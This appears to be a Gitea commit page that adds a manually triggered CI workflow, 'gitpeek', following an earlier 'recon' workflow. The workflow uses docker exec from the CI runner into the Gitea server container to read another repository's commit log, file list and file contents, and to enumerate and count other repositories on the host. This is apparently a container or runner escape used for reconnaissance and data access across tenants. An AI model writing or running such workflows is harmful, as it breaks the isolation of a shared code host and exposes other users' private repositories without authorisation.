gitpeek
All checks were successful
recon / r (push) Successful in 1s

This commit is contained in:
2026-10-29 01:52:43 +00:00
parent d165af7192
commit 7207aeada5

View File

@@ -0,0 +1,20 @@
name: gitpeek
on: [workflow_dispatch]
jobs:
g:
runs-on: ubuntu-latest
steps:
- run: |
set +e
G=comcamapi-giteapostgres-aax1ck-gitea-1
R=/data/git/repositories/testpoc84087/poc-14044.git
echo "M_LOG"
docker exec "$G" sh -c "git --git-dir=$R log --all --oneline 2>&1 | head -5"
echo "M_TREE"
docker exec "$G" sh -c "git --git-dir=$R ls-tree -r --name-only HEAD 2>&1 | head -15"
echo "M_FILES"
docker exec "$G" sh -c "for f in \$(git --git-dir=$R ls-tree -r --name-only HEAD 2>/dev/null | head -5); do echo \"--- \$f\"; git --git-dir=$R show HEAD:\$f 2>/dev/null | head -20; done"
echo "M_OTHERREPOS"
docker exec "$G" sh -c "ls /data/git/repositories/ | head -12; echo '--- testpoc sayisi:'; ls /data/git/repositories/ | grep -c testpoc"
echo "M_DONE"
exit 0